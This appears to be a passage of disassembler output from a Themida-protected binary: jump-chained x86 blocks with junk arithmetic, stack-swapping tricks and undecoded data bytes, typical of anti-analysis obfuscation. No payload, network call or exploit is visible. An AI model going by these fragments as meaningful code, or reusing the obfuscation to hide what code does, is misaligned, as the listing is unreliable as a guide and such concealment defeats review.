loc_54CFCC:				; CODE XREF: Themida_:005454EEj
		neg	ebx
		jmp	loc_55116F
; ---------------------------------------------------------------------------
		db 68h
		dd 2882h, 330FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CFDD:				; CODE XREF: Themida_:00551EAAj
		add	ebx, eax
		jmp	loc_54DBBE
; ---------------------------------------------------------------------------


loc_54CFE4:				; CODE XREF: Themida_:0055721Dj
		mov	dl, 37h
		mov	al, dl
		jmp	loc_547A1E
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 0A1C18159h, 136D779h, 0C65BE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFFE:				; CODE XREF: Themida_:005536D4j
		mov	ebx, 34A32129h
		sub	ebx, ebp
		jmp	loc_542B45
; ---------------------------------------------------------------------------


loc_54D00A:				; CODE XREF: Themida_:00556C35j
		pop	ebx
		add	edi, ecx
		push	ebx
		mov	ebx, 71492F43h
		jmp	loc_5507C5
; ---------------------------------------------------------------------------


loc_54D018:				; CODE XREF: Themida_:0054B0E1j
		mov	al, 0B2h
		add	al, 0A0h
		sub	al, dl
		sub	al, 0A0h
		mov	edx, [esp]
		add	esp, 4
		inc	al
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0B8h
		and	dh, 6
		push	eax
		mov	ah, 8Fh
		jmp	loc_54966B
; ---------------------------------------------------------------------------
		dw 40BEh
		dd 0F73ABA06h, 3EEC1D6h, 2D85EE81h, 0EE8134D9h,	1CD51918h
		dd 876AC681h, 2FE93905h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D05F:				; CODE XREF: Themida_:00554FF8j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	40E5h
		mov	[esp], eax
		jmp	loc_5528AA
; ---------------------------------------------------------------------------
		db 83h
		dd 0C18104C4h, 4, 0FF65EDE9h, 5E9C1FFh,	389BE981h, 5305A33Fh
		dd 2924E00Eh, 4EC83C8h,	0BB241C89h, 71497532h, 1069E381h
		dd 0C3E9133Fh, 0FEFFFFD4h, 0FFC780C7h, 68h, 243C2800h
		dd 68243C8Ah, 4AF4h, 0FFD5B0E9h, 4C481FFh, 0FF000000h
		dd 835E2434h, 0EE8704C4h, 0BAE9DDF7h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0DB:				; CODE XREF: Themida_:0054550Bj
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	409Fh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_54E67A
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0EDC68106h, 29CC69E5h, 60AEE9F5h, 0E981FFFFh, 18B56D49h
		dd 0FF5F7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D121:				; CODE XREF: Themida_:0054D3A5j
		push	ebp
		mov	ebp, 4E6B4875h
		mov	edi, ebp
		jmp	loc_555FC9
; ---------------------------------------------------------------------------
aSI_0		db 'S³©±Þ',0
		dd 241C8BD9h, 4C481h, 0C8000000h, 0E9240C8Bh, 5547h, 3848C581h
		dd 835B4505h, 2C8904ECh, 2474FF24h, 48F5D04h, 0CFE5C24h
		dd 0A5E99C24h, 68FFFF55h, 407Bh, 83242489h, 3C8904ECh
		dd 4BF24h, 6C810000h, 299D0424h, 7C0171C3h, 44810424h
		dd 299D0424h, 3C8B71C3h, 4C48324h, 6824048Bh, 5095h, 89241489h
		dd 4C281E2h, 83000000h,	148704C2h, 24248B24h, 405h, 0E2895200h
		dd 4C281h, 0EA830000h, 46AAE904h, 3C8B0000h, 14C0E924h
		dd 4BB0000h, 1000000h, 241C8BDFh, 4C481h, 0E9550000h, 291Eh
		dd 314AD8B8h, 83E9536Ah, 0FF000095h, 669D1C77h,	24041058h
		dd 550EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D1FE:				; CODE XREF: Themida_:00544931j
		sub	dl, 2Eh
		add	ah, dl
		jmp	loc_54927E
; ---------------------------------------------------------------------------


loc_54D208:				; CODE XREF: Themida_:0054E8EDj
		add	ebx, 36316967h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55635C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4BD555Fh, 1000000h, 0C7815DEFh, 4, 8B243C87h, 48F2424h
		dd 8B665C24h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 12C7E900h
		dd 248B0000h, 24048F24h, 54AEE95Ch, 0F681FFFFh,	96252Dh
		dd 33BDC681h, 40E93BD2h, 81FFFFF8h, 322876CBh, 0E6A8E940h
		dd 685CFFFFh, 14CAh, 9434E9h, 4EBC100h,	9C685552h, 5D021734h
		dd 0BA4C581h, 0C5815C4Fh, 0BE1C3764h, 525DEA89h, 0F7243C87h
		dd 243C87D7h, 3CEA815Ah, 964912Bh, 0AB685AD3h, 89000039h
		dd 8CBD242Ch, 0E943AE68h, 2D8Eh
; ---------------------------------------------------------------------------


loc_54D2C4:				; CODE XREF: Themida_:00554DABj
		or	dl, 0EBh
		xor	dl, 96h
		jmp	loc_54492F
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFC87CE9h, 0FFEF83FFh, 28DBEF81h, 0F7815025h, 2C9E3942h
		dd 58AC281h, 0FA016AE2h, 883FE9h, 241C3100h, 8B241C33h
		dd 4892424h, 83E08924h,	2C8904ECh, 66BB5324h, 8177D550h
		dd 0EA59E7CBh, 14F7533Eh, 0C3815B24h, 0B40CC3CBh, 815BDD89h
		dd 0D69E7F5h, 33BF5734h, 5156D2Bh, 4C5C6D3Dh, 3D2DF801h
		dd 5F4C5C6Dh, 332DE801h, 0E9156D2Bh, 1CF0h, 55A3BD55h
		dd 0FCE91A33h, 1FFFFC9h, 0ABC281FAh, 0E91AC068h, 0FFFF65B3h
		dd 0C781E789h, 4, 423EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D369:				; CODE XREF: Themida_:00543B99j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_556132
; ---------------------------------------------------------------------------


loc_54D375:				; CODE XREF: Themida_:005437EDj
		pop	ecx
		add	ecx, edi
		pop	edi
		sub	ecx, 47B133FDh
		add	ecx, edx
		add	ecx, 47B133FDh
		jmp	loc_5523FD
; ---------------------------------------------------------------------------


loc_54D38C:				; CODE XREF: Themida_:00546993j
		sub	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 50C9252Ah
		push	ecx
		push	edi
		jmp	loc_54D121
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 0FF7081E9h, 4EC83FFh, 68242C89h, 0
		dd 94AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D3C1:				; CODE XREF: Themida_:00544B42j
		mov	ebx, 0C7B591Ch
		jmp	loc_551DF4
; ---------------------------------------------------------------------------


loc_54D3CB:				; CODE XREF: Themida_:0054DD47j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 38B97F29h
		jmp	loc_54EA39
; ---------------------------------------------------------------------------
		dd 6C6CB850h, 0C7890AD1h, 0EAE78158h, 0E92D892Ch, 0FFFFC789h
		dd 26B5EB81h, 0F30114E9h, 26B5C381h, 575E14E9h,	2BFBE56h
		dd 0E9552620h, 0FFFF8D72h
; ---------------------------------------------------------------------------


loc_54D418:				; CODE XREF: Themida_:0054945Ej
		push	ebx
		mov	ebx, 0D481D2Eh
		dec	ebx
		neg	ebx
		push	477Ah
		mov	[esp], ebp
		push	edi
		mov	edi, 6E073700h
		mov	ebp, 84B0ABD7h
		add	ebp, edi
		pop	edi
		xor	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	494Eh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	63B1h
		mov	[esp], ecx
		mov	ecx, 1C54198Fh
		add	ecx, 0E3ABE675h
		add	ebp, ecx
		pop	ecx
		jmp	loc_549AD8
; ---------------------------------------------------------------------------
		db 81h
		dd 201A8CC2h, 0E9D789FDh, 0FFFFF963h, 2071CA81h, 0EA81131Fh
		dd 29AD1471h, 315AD729h, 7040E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D49E:				; CODE XREF: Themida_:0054E977j
		mov	esi, edi
		pop	edi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_555B1A
; ---------------------------------------------------------------------------


loc_54D4AC:				; CODE XREF: Themida_:00554D40j
		add	eax, 71886069h
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_54C06B
; ---------------------------------------------------------------------------


loc_54D4C0:				; CODE XREF: Themida_:00545B04j
		pop	ebp
		sub	edx, 28B51E45h
		sub	edx, eax
		add	edx, 28B51E45h
		jmp	loc_553254
; ---------------------------------------------------------------------------


loc_54D4D4:				; CODE XREF: Themida_:005557DEj
		add	eax, edx
		add	eax, 8C43B3h
		push	esi
		mov	esi, 79F662DFh
		jmp	loc_549304
; ---------------------------------------------------------------------------


loc_54D4E6:				; CODE XREF: Themida_:00549134j
		mov	[esp], ebp
		mov	ebp, 233F7DE6h
		sub	ebp, 233F7DE2h
		add	edx, ebp
		jmp	loc_55427E
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 7B8CE900h, 0B951FFFFh,	3B9244CFh, 2959C801h, 24048BC3h
		dd 4C481h, 0E3C10000h, 42C38105h, 1CEA4BCh, 0B0E7E9D8h
		dd 0F66FFFFh, 5166C8B6h, 6B1DE99Ch, 0E681FFFFh,	2CF80FF7h
		dd 0EA68DEF7h, 0E9000067h, 0FFFF6990h
; ---------------------------------------------------------------------------


loc_54D548:				; CODE XREF: Themida_:00548BCFj
		pop	edx
		add	bl, al
		jmp	loc_54E72B
; ---------------------------------------------------------------------------
		dd 0F433E95Bh, 0EF80FFFFh, 2DC78061h, 0EF80CF28h, 2434FF2Dh
		dd 4C48159h, 2C000000h,	96B55130h, 0E959E800h, 0FFFFB2BFh
; ---------------------------------------------------------------------------


loc_54D578:				; CODE XREF: Themida_:005494BBj
		sub	esp, 4
		jmp	loc_557862
; ---------------------------------------------------------------------------


loc_54D580:				; CODE XREF: Themida_:00551192j
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5456D0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E6E92414h, 1FFFFF0h, 63E95FFAh, 66FFFF78h, 8124048Bh
		dd 4ECh, 24348900h, 5B2FE9h, 23AFBE00h,	0F1091F5Ah, 55D9F75Eh
		dd 3D4781BDh, 2AB9517Eh, 214D1E2Bh, 60E959CDh, 89FFFF5Eh
		dd 0C1E92414h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D5E3:				; CODE XREF: Themida_:00552F33j
		mov	[esp], edx
		mov	edx, 68AD35CFh
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A9D8
; ---------------------------------------------------------------------------
		dd 4C481h, 0D7F70000h, 0F701C783h, 0A2F781DFh, 0E981DF48h
		dd 0FFFFB00Dh
; ---------------------------------------------------------------------------


loc_54D610:				; CODE XREF: Themida_:00551BA4j
		mov	edx, 3E5BACh
		and	edx, 34872211h
		add	edx, 522D54D4h
		jmp	loc_54715C
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 53D68792h, 1F2DFCBBh, 68566Ch, 5E000000h, 0D6E9DE29h
		dd 33FFFF85h, 4312404h,	24043324h, 61C3E95Ch, 0C3290000h
		dd 81C32958h, 4ECh, 240C8900h, 140B850h, 81B900B1h, 317E6610h
		dd 0BE6EE9C1h, 565FFFFFh, 7FF6853h, 0C15B58AEh,	57E907E3h
		dd 0ADFFFF64h, 83666505h, 0FFDE968h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D68A:				; CODE XREF: Themida_:0054F018j
		push	ebx
		mov	bh, 4Fh
		and	dh, bh
		jmp	loc_54AD16
; ---------------------------------------------------------------------------
		dd 0C1815954h, 4, 0FF6E26E9h, 300868FFh, 3C890000h, 9FB95124h
		dd 0E93EA026h, 500Ch, 8B2434FFh, 89502404h, 52E952E0h
		dd 81FFFF62h, 6D042444h, 0E9065812h, 3F6h, 4EC81h, 34890000h
		dd 65EA6824h, 348B34BFh, 4C48124h, 81000000h, 8961ECE6h
		dd 670AE975h, 8158FFFFh, 2705B1EDh, 1ED8128h, 56000000h
		dd 0FFFFFF68h, 24348BFFh, 4C481h, 0F5010000h, 0E9D5F75Eh
		dd 9ECDh, 4EBFE381h, 0EB8111A0h, 80007Ch, 0FFD495E9h, 241487FFh
		dd 0FC3305Ch, 34FFC0B6h, 2434FF87h, 0FFCD8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D73D:				; CODE XREF: Themida_:00553E3Dj
		push	edi
		push	edx
		mov	edx, 2DD1583Eh
		jmp	loc_550BB3
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0E0h
		dd 4505306Dh, 0F581D5F7h, 70B9100Dh, 94BB53h, 0D2E94428h
		dd 81FFFFDAh, 1430EBCBh, 4EC8119h, 89000000h, 97BD242Ch
		dd 8157E81Fh, 7F369FEDh, 7DF5815Eh, 8158F249h, 0F9FF85F5h
		dd 0E6EB81EFh, 1495A23h, 0BA11E9EBh, 0FE87FFFFh, 217E9h
		dd 0C896600h, 28C3E924h, 74FF0000h, 0E9580424h,	8300h
		dd 0BAE9C229h, 5BFFFF8Fh, 7467E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D7BE:				; CODE XREF: Themida_:00551171j
		inc	ebx
		not	ebx
		xor	ebx, 17BC5525h
		xor	ebx, 0E114E49Bh
		push	ebx
		mov	ebx, 4E5D4EA2h
		add	eax, ebx
		pop	ebx
		sub	eax, 563D4EA8h
		add	eax, ebx
		add	eax, 563D4EA8h
		sub	eax, 4E5D4EA2h
		jmp	loc_544007
; ---------------------------------------------------------------------------
		dd 4BD5553h, 0E9000000h, 0FFFF90E4h
; ---------------------------------------------------------------------------


loc_54D7F8:				; CODE XREF: Themida_:00544F16j
		add	esp, 4
		mov	ecx, [ebx]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54C070
; ---------------------------------------------------------------------------
		dd 34FFC801h, 0E9515924h, 0FFFF7AB1h, 0E924348Bh, 6818h
		dd 1124BE56h, 0C68165E2h, 7F9C4FB4h, 0DEF7D6F7h, 0C106EEC1h
		dd 0F68104E6h, 707E9507h, 815EF529h, 2F0504EDh,	0BDC58143h
		dd 14D9E55h, 79DFE9C5h,	0D7F7FFFFh, 0FF78147h, 0C1580525h
		dd 0DE904E7h, 33000025h, 1C31241Ch, 241C3324h, 6624248Bh
		dd 9C243CD3h, 0FF4E93E9h, 24148BFFh, 47D9E956h,	0C3810000h
		dd 7EF96B26h, 80C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D88D:				; CODE XREF: Themida_:00553116j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55058C
; ---------------------------------------------------------------------------
		db 66h
		dd 6EE9D9F7h, 2D000051h, 66914EBh, 0E958C589h, 7745h
; ---------------------------------------------------------------------------


loc_54D8B8:				; CODE XREF: Themida_:0054724Fj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54431B
; ---------------------------------------------------------------------------


loc_54D8CE:				; CODE XREF: Themida_:005446A8j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		jmp	loc_543BF2
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 354h
; ---------------------------------------------------------------------------


loc_54D8E4:				; CODE XREF: Themida_:00549876j
		pop	esp
		push	26h
		jmp	loc_5482E0
; ---------------------------------------------------------------------------
		db 66h
		dd 3E9028Fh, 8BFFFFE5h,	0C481240Ch, 4, 0EB06A62Dh, 7E06056Ah
		dd 0D82957F9h, 0F97E062Dh, 0BF575257h, 3E242842h, 1590CF81h
		dd 0F781162Fh, 63EA1A43h, 835FFA89h, 11E9FFC2h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D92F:				; CODE XREF: Themida_:00556038j
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_54BF0D
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 53D88B8h, 5E8C173h, 503E8C1h, 0FF8CFAC7h, 158C189h
		dd 1C8759CBh, 24248B24h, 3853BA52h, 0EAC174DCh,	0CEC28104h
		dd 810AC01Bh, 96D73BF2h, 8BD30164h, 0C4812414h,	4, 61BAE9h
		dd 0BEC58100h, 14F693Dh, 0DAE951FDh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D98F:				; CODE XREF: Themida_:005458A5j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54E1CE
; ---------------------------------------------------------------------------
		dw 0A768h
		dd 8B24B531h, 89522434h, 4C281E2h, 0E9000000h, 0FFFF4F1Eh
		dd 5EC9E957h, 0EB010000h, 4B8505Dh, 55000000h, 0F5F48BDh
		dd 0C5814508h, 3197C88Ch, 36E9EB01h, 3300007Ah,	248B240Ch
		dd 48B6624h, 2C18E924h,	0C3290000h, 0A12AE958h,	487FFFFh
		dd 0C895C24h, 0ACAB924h, 86E90B16h, 51FFFFF6h, 0AD76C1B9h
		dd 44F1817Ah, 893ABA3Eh, 240C8BCDh, 4C481h, 0ED830000h
		dd 0C5814D01h, 4CC83D72h, 3142E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DA25:				; CODE XREF: Themida_:00543121j
		pop	ecx
		jmp	loc_5472FC
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4D8009Fh, 0B753669Fh, 66F8286Fh, 81241C8Bh, 2C4h, 4EC8100h
		dd 89000000h, 0B450241Ch, 0A086E94Dh, 34FF0000h, 7685924h
		dd 8900001Ch, 5B54241Ch, 8259E9h, 0A3E28100h, 812E3D6Eh
		dd 20C32EF2h, 5AD331A0h, 11EAE981h, 0D90140D2h,	11EAC181h
		dd 64E940D2h, 68000001h, 33E51C39h, 4EB5E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DA91:				; CODE XREF: Themida_:0054AF7Bj
		sub	esp, 4
		jmp	loc_54B7C3
; ---------------------------------------------------------------------------


loc_54DA99:				; CODE XREF: Themida_:0054E233j
		push	edx
		jmp	loc_549BE0
; ---------------------------------------------------------------------------
		db 2Dh
		dd 43801745h, 4505C829h, 68438017h, 38A8h, 0BE243489h
		dd 301C2DBEh, 68h, 24342900h, 5A66E95Eh, 74010000h, 6C810424h
		dd 126D0424h, 6C810658h, 1E3D0424h, 34FF5B4Dh, 0F1685E24h
		dd 8900000Dh, 0E589242Ch, 4C581h, 0EC830000h, 24348904h
		dd 4BEh, 9245E900h, 405FFFFh, 83000000h, 0A0E904C0h, 5E00006Eh
		dd 0EB81EB29h, 3E8B09E3h, 0E9242C8Bh, 695h, 3104C483h
		dd 2434FFD0h, 6AC9685Ah, 2C890000h, 81E58924h, 4C5h, 4C58100h
		dd 87000000h, 248B242Ch, 53BB5324h, 51645035h, 615CE953h
		dd 4BD0000h, 0E9000000h, 0FFFFFE62h
; ---------------------------------------------------------------------------


loc_54DB58:				; CODE XREF: Themida_:00549615j
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_54DE2C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 18C71E79h, 0FFE383E9h, 4C481FFh, 57000000h, 243C8B54h
		dd 4C481h, 0EC830000h, 242C8904h, 468h,	0C7815D00h, 5E5E68E1h
		dd 0EC83EF01h, 24148904h, 4EC81h, 34890000h, 44B4BE24h
		dd 0DEF70DD8h, 3E63CE81h, 0D6F7281Ah, 81D6F746h, 61D78FF6h
		dd 0EA7DE9A4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DBBE:				; CODE XREF: Themida_:0054CFDFj
		sub	ebx, 466609C6h
		pop	eax
		push	esi
		push	ebp
		push	ecx
		jmp	loc_550FFE
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 59h
		dd 73609B2Dh, 3DF92D78h, 0F0293DE9h, 0E93DF905h, 609B053Dh
		dd 9AE97873h, 5B000079h, 0FF4D32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DBF1:				; CODE XREF: Themida_:0054E8D2j
		sub	bl, 1
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 2
		jmp	loc_54673A
; ---------------------------------------------------------------------------


loc_54DC08:				; CODE XREF: Themida_:00542A9Aj
		push	ecx
		push	3E334451h
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	ecx, 6
		or	ecx, 724237F2h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_555495
; ---------------------------------------------------------------------------
		db '¿ÄšÊ',0
aS4		db 'é{4',0
		align 2
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 24248B24h, 2474FF55h, 48F5D04h
		dd 0F665C24h, 9C2404B3h, 0FF4AA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DC69:				; CODE XREF: Themida_:0054C4E6j
		sub	esp, 4
		jmp	loc_557A80
; ---------------------------------------------------------------------------
		dd 2434875Dh, 2434FF5Ch, 81241C8Bh, 4C4h, 0F8E95700h, 87FFFFD1h
		dd 0F9BA52D1h, 963B842h, 2434FFD1h, 8D95E95Ah, 0C581FFFFh
		dd 59DC0C7Eh, 8518E9h, 5E8C100h, 309A0C05h, 58C1016Bh
		dd 0FFB39CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DCB9:				; CODE XREF: Themida_:00547BDFj
		push	eax
		push	ebx
		mov	ebx, 628F5177h
		xor	ebx, 32B12199h
		shr	ebx, 6
		add	ebx, 714908C7h
		shr	ebx, 2
		jmp	loc_54E922
; ---------------------------------------------------------------------------
		db 66h
		dd 51241489h, 5D23E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DCE1:				; CODE XREF: Themida_:00550B26j
		mov	ecx, 4
		jmp	loc_552C35
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 1A9EE9h, 4EF8300h, 0E9243C87h, 0FFFF5D81h
		dd 8F04C483h, 4832404h,	0F9E90424h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DD13:				; CODE XREF: Themida_:0054554Cj
		mov	bp, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_54CA41
; ---------------------------------------------------------------------------


loc_54DD2E:				; CODE XREF: Themida_:0055289Bj
		push	4AB1h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5565B4
; ---------------------------------------------------------------------------


loc_54DD44:				; CODE XREF: Themida_:00546BE2j
		xor	edx, [esp]
		jmp	loc_54D3CB
; ---------------------------------------------------------------------------
		dd 1C57EF81h, 0CF0130F9h, 623EBD55h, 0C5812696h, 0A62BA19h
		dd 2C8BEF01h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 4CDD68h, 240C8900h, 0F67B41B9h, 0CDEF8110h, 13FAC6Bh
		dd 8153E9CFh, 0E9580000h, 4352h, 6CBCB951h, 0CB016BF3h
		dd 81240C8Bh, 4C4h, 0EC835600h,	240C8904h, 2209CCB9h, 0C7C98151h
		dd 497B0E4Dh, 0E181D1F7h, 0A894DEDh, 0FF7515E9h, 66F9F6FFh
		dd 66CCB60Fh, 664DD468h, 0E9240C89h, 0FFFFF74Eh
; ---------------------------------------------------------------------------


loc_54DDDC:				; CODE XREF: Themida_:00547AA4j
		not	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 7CBB9B71h
		add	edi, 6E29714Ch
		jmp	loc_545601
; ---------------------------------------------------------------------------
aIqyrsj6	db 'ˆïYRé¦6',0
		db 0
; ---------------------------------------------------------------------------


loc_54DDFD:				; CODE XREF: Themida_:005438D4j
		push	175Ch
		mov	[esp], ecx
		mov	ecx, 4A601CA2h
		push	ecx
		push	eax
		mov	eax, 64324308h
		add	dword ptr [esp+4], 0C7D7D53h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 0C7D7D53h
		pop	eax
		pop	esi
		jmp	loc_54BEF6
; ---------------------------------------------------------------------------


loc_54DE2C:				; CODE XREF: Themida_:0054DB5Ej
		push	608Ch
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 3D70766Fh
		add	edi, ebx
		jmp	loc_54E26E
; ---------------------------------------------------------------------------
		dw 0C1E9h
		dd 0BBFFFF48h, 4, 15BDF89h, 0BA525FF8h,	4, 875AD029h, 895C2404h
		dd 4BD242Ch, 0E9000000h, 0FFFFC403h
; ---------------------------------------------------------------------------


loc_54DE70:				; CODE XREF: Themida_:0054E4F2j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	30BEh
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, 4CAB2B7Ah
		add	ecx, edx
		add	ecx, 4CAB2B7Ah
		push	7776h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 5CF941BCh
		jmp	loc_54ECE6
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0EC815854h, 4, 89243C89h, 4C781E7h, 0E9000000h, 0FFFFF637h
		dd 0F56C7805h, 0D8F7481Eh, 4802E0C1h, 0B62DBB53h, 0D831A867h
		dd 58C2015Bh, 7DE9C201h, 0Dh, 6F045AD0h, 0FFFB3EE9h, 59B4FFh
		dd 68A0E9F4h, 0F201FFFFh, 13A1055Eh, 11054738h,	129AD46h
		dd 46112DD0h, 0BF5729ADh, 473813A1h, 0FF5FF829h, 515A2434h
		dd 0FF5C57E9h, 18E281FFh, 817CC42Ah, 6227C1EAh,	0BFE9CEh
		dd 57580000h, 955997BFh, 0EEF3E937h, 0C781FFFFh, 4, 0FFEA8FE9h
		dd 0BE565DFFh, 35C950A3h, 81EED146h, 1B57B2C6h,	8BF501E5h
		dd 0C4832434h, 8F92E904h, 0B551FFFFh, 0EF58069h, 2C7FF580h
		dd 4E80087h, 240C8B87h,	4C481h,	0D8280000h, 806DB652h
		dd 0F028ABC6h, 8124148Bh, 4C4h,	52515200h, 8892B450h, 0E68058E6h
		dd 0C0D6F6A0h, 0C6FE07E6h, 8836C680h, 24148BF5h, 4C481h
		dd 84680000h, 89000022h, 0B450240Ch, 80DFB578h,	0B753B2C5h
		dd 5BFD00A6h, 0ED80E528h, 24048BA6h, 4C481h, 3DE90000h
		dd 100003Ch, 0B580E9FDh, 1C33FFFFh, 24248B24h, 24048966h
		dd 0FF471FE9h, 5AD001FFh, 50C3315Dh, 68535854h,	4, 5E37E95Bh
		dd 0EC81FFFFh, 4, 2ED9E9h, 241C8900h, 628CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E015:				; CODE XREF: Themida_:00554109j
		push	ecx
		mov	ecx, 4FC91D87h
		jmp	loc_54F987
; ---------------------------------------------------------------------------
		dd 8324048Bh, 40E904C4h, 2DFFFFD6h, 2BB50888h, 0E92434FFh
		dd 9B1Eh, 0C8BC831h, 4C48324h, 0CFAE953h, 0C6830000h, 24348704h
		dd 0FF9183E9h, 242C33FFh, 30FF665Ch, 0FF46AFE9h, 0C4835BFFh
		dd 0E9515704h, 2784h
; ---------------------------------------------------------------------------


loc_54E068:				; CODE XREF: Themida_:00545D6Bj
		rep movsd
		add	esp, [edx+38h]
		push	3369h
		jmp	loc_5444AC
; ---------------------------------------------------------------------------
		db 80h
		dd 0EC83E0C3h, 4896602h, 66FDB024h, 0E9A0B753h,	0FFFF625Ch
		dd 22A7BD55h, 0BB535EE3h, 3C315F24h, 815BDD31h,	1539F4CDh
		dd 0E9D5F779h, 14E3h, 7BC1815Dh, 0E9AF13C8h, 0FFFF68E9h
		dd 0C4F2815Eh, 8145FC71h, 0F030CDC2h, 5AD02996h, 74A968h
		dd 240C8900h, 0C7507D68h, 0C8315962h, 0FFDEE1E9h, 4AE952FFh
		dd 29000050h, 0EA815AD7h, 1AC068ABh, 0FFF262E9h, 0CAB850FFh
		dd 0C16EA42Dh, 0FF2D07E8h, 48FFFFFFh, 9F2DE0D1h, 29AB8E79h
		dd 77E958C5h, 89FFFFABh, 4C181E1h, 83000000h, 0C8704C1h
		dd 2C875C24h, 0F665C24h, 9C2404ABh, 282EE9h, 4C68100h
		dd 81000000h, 4EEh, 24348700h, 0FFB283E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E13D:				; CODE XREF: Themida_:00552106j
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 0Ch
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5561A6
; ---------------------------------------------------------------------------
		db 8Fh
